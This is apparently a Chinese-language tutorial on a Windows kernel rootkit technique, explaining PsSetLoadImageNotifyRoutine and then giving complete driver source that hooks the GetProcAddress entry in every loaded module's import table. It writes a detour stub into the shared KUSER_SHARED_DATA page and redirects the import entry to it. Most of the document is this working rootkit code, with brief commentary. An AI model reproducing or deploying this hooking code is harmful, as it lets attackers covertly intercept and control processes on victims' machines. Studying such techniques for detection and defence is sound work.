如果希望在加载目标进程或DLL时获得通知,操作系统提供了一个非常有用的函数PsSetImageLoadNotifyRoutine。如名称所示,该函数注册了一个每次将映像加载到内存中时都要调用的驱动程序回调例程。
NTSTATUS PsSetLoadImageNotifyRoutine( IN PLOAD_IMAGE_NOTIFY_ROUTINE NotifyRoutine );
它只有一个参数,即回调例程的地址。回调例程应该声明如下:
VOID MyImageLoadNotify(IN PUNICODE_STRING, IN HANDLE, IN PIMAGE_INFO);
UNICODE_STRING包含了由内核加载的模块名,HANDLE参数是模块加载到的目标进程的PID.rootkit已处于该PID的内存上下文中,IMAGE_INFO结构包含了rootkit需要的有用信息。
1 typedef struct _IMAGE_INFO { 2 union { 3 ULONG Properties; 4 struct { 5 ULONG ImageAddressingMode : 8; //code addressing mode 6 ULONG SystemModeImage : 1; //system mode image 7 ULONG ImageMappedToAllPids : 1; //mapped in all processes 8 ULONG Reserved : 22; 9 }; 10 }; 11 PVOID ImageBase; 12 ULONG ImageSelector; 13 ULONG ImageSize; 14 ULONG ImageSectionNumber; 15 } IMAGE_INFO, *PIMAGE_INFO;
先展示rootikit.h
1 typedef unsigned long DWORD; 2 typedef unsigned long *PDWORD; 3 typedef unsigned short WORD; 4 5 BOOLEAN gb_Hooked; 6 7 // MakePtr is a macro that allows you to easily add to values (including 8 // pointers) together without dealing with C's pointer arithmetic. It 9 // essentially treats the last two parameters as DWORDs. The first 10 // parameter is used to typecast the result to the appropriate pointer type. 11 // by Jeffrey Richter? 12 #define MakePtr( cast, ptr, addValue ) (cast)( (DWORD)(ptr) + (DWORD)(addValue)) 13 14 VOID MyImageLoadNotify(IN PUNICODE_STRING, 15 IN HANDLE, 16 IN PIMAGE_INFO); 17 18 NTSTATUS HookImportsOfImage(PIMAGE_DOS_HEADER, HANDLE);
rootkit.c的前一段 DriverEntry调用了PsSetLoadImageNotifyRoutine函数去指定了一个回调函数MyImageLoadNotify
1 #include "ntddk.h" 2 #include "ntimage.h" 3 #include "hybridhook.h" 4 5 6 7 NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject, 8 IN PUNICODE_STRING theRegistryPath) 9 { 10 NTSTATUS ntStatus; 11 gb_Hooked = FALSE; // We have not hooked yet 12 13 ntStatus = PsSetLoadImageNotifyRoutine(MyImageLoadNotify); 14 15 return ntStatus; 16 } 17 18 / 19 // MyImageLoadNotify gets called when an image is loaded 20 // into kernel or user space. At this point, you could 21 // filter your hook based on ProcessId or on the name of 22 // of the image. 23 VOID MyImageLoadNotify(IN PUNICODE_STRING FullImageName, 24 IN HANDLE ProcessId, // Process where image is mapped 25 IN PIMAGE_INFO ImageInfo) 26 { 27 // UNICODE_STRING u_targetDLL; 28 29 DbgPrint("Image name: %ws\n", FullImageName->Buffer); 30 // Setup the name of the DLL to target 31 // RtlInitUnicodeString(&u_targetDLL, L"\\WINDOWS\\system32\\kernel32.dll"); 32 33 // if (RtlCompareUnicodeString(FullImageName, &u_targetDLL, TRUE) == 0) 34 // { 35 HookImportsOfImage(ImageInfo->ImageBase, ProcessId); 36 // } 37 38 }
HookImportsOfImage扫描所有模块,确认它是否从KERNEL32.DLL导入了GetProcAddress函数,如果发现这个IAT,它就更改关于IAT的内存保护机制,
一旦改变了权限,rootkit就可以使用钩子地址来重写IAT中的地址。
Barnaby Jack提出了利用两个虚地址映射到同一个物理地址这个事实,内核地址0xFFDF0000和用户地址0X7FFE0000都指向同一个物理页面,内核地址是可写
的,但用户地址则不能。rootkit可以在IAT钩子中将代码写到内核地址并以用户地址来访问它。该共享区域的大小事4K,内核占用其中一部分。
该内存区域的名称是KUSER_SHARD_DATA。向d_sharedK的地址写入8个字节,后续7个字节只是一个哑地址一入eax,然后跳转。当rootkit找到被钩住函数的
IAT后,它将使用该函数的原始地址来重写这个哑地址。
detour Kernel.dll中的GetProcAddress函数
1 NTSTATUS HookImportsOfImage(PIMAGE_DOS_HEADER image_addr, HANDLE h_proc) 2 { 3 PIMAGE_DOS_HEADER dosHeader; 4 PIMAGE_NT_HEADERS pNTHeader; 5 PIMAGE_IMPORT_DESCRIPTOR importDesc; 6 PIMAGE_IMPORT_BY_NAME p_ibn; 7 DWORD importsStartRVA; 8 PDWORD pd_IAT, pd_INTO; 9 int count, index; 10 char *dll_name = NULL; 11 char *pc_dlltar = "kernel32.dll"; 12 char *pc_fnctar = "GetProcAddress"; 13 PMDL p_mdl; 14 PDWORD MappedImTable; 15 DWORD d_sharedM = 0x7ffe0800; 16 DWORD d_sharedK = 0xffdf0800; 17 18 // Little detour 19 unsigned char new_code[] = { 20 0x90, // NOP make INT 3 to see 21 0xb8, 0xff, 0xff, 0xff, 0xff, // mov eax, 0xffffffff 22 0xff, 0xe0 // jmp eax 23 }; 24 25 dosHeader = (PIMAGE_DOS_HEADER) image_addr; 26 27 pNTHeader = MakePtr( PIMAGE_NT_HEADERS, dosHeader, 28 dosHeader->e_lfanew ); 29 30 // First, verify that the e_lfanew field gave us a reasonable 31 // pointer, then verify the PE signature. 32 if ( pNTHeader->Signature != IMAGE_NT_SIGNATURE ) 33 return STATUS_INVALID_IMAGE_FORMAT; 34 35 importsStartRVA = pNTHeader->OptionalHeader.DataDirectory 36 [IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress; 37 38 if (!importsStartRVA) 39 return STATUS_INVALID_IMAGE_FORMAT; 40 41 importDesc = (PIMAGE_IMPORT_DESCRIPTOR) (importsStartRVA + (DWORD) dosHeader); 42 43 for (count = 0; importDesc[count].Characteristics != 0; count++) 44 { 45 dll_name = (char*) (importDesc[count].Name + (DWORD) dosHeader); 46 47 pd_IAT = (PDWORD)(((DWORD) dosHeader) + (DWORD)importDesc[count].FirstThunk); 48 pd_INTO = (PDWORD)(((DWORD) dosHeader) + (DWORD)importDesc[count].OriginalFirstThunk); 49 50 for (index = 0; pd_IAT[index] != 0; index++) 51 { 52 // If this is an import by ordinal the high 53 // bit is set 54 if ((pd_INTO[index] & IMAGE_ORDINAL_FLAG) != IMAGE_ORDINAL_FLAG) 55 { 56 p_ibn = (PIMAGE_IMPORT_BY_NAME)(pd_INTO[index]+((DWORD) dosHeader)); 57 if ((_stricmp(dll_name, pc_dlltar) == 0) && \ 58 (strcmp(p_ibn->Name, pc_fnctar) == 0)) 59 { 60 //DbgPrint("Imports from DLL: %s", dll_name); 61 //DbgPrint(" Name: %s Address: %x\n", p_ibn->Name, pd_IAT[index]); 62 63 // Use the trick you already learned to map a different 64 // virtual address to the same physical page so no 65 // permission problems. 66 // 67 // Map the memory into our domain so we can change the permissions on the MDL 68 p_mdl = MmCreateMdl(NULL, &pd_IAT[index], 4); 69 if(!p_mdl) 70 return STATUS_UNSUCCESSFUL; 71 72 MmBuildMdlForNonPagedPool(p_mdl); 73 74 // Change the flags of the MDL 75 p_mdl->MdlFlags = p_mdl->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA; 76 77 MappedImTable = MmMapLockedPages(p_mdl, KernelMode); 78 79 if (!gb_Hooked) 80 { 81 // Writing the raw opcodes to memory 82 // used a kernel address that gets mapped 83 // into the address space of all processes 84 // thanks to Barnaby Jack 85 RtlCopyMemory((PVOID)d_sharedK, new_code, 8); 86 RtlCopyMemory((PVOID)(d_sharedK+2),(PVOID)&pd_IAT[index], 4); 87 gb_Hooked = TRUE; 88 } 89 90 // Offset to the "new function" 91 *MappedImTable = d_sharedM; 92 93 // Free MDL 94 MmUnmapLockedPages(MappedImTable, p_mdl); 95 IoFreeMdl(p_mdl); 96 97 } 98 } 99 } 100 } 101 return STATUS_SUCCESS; 102 }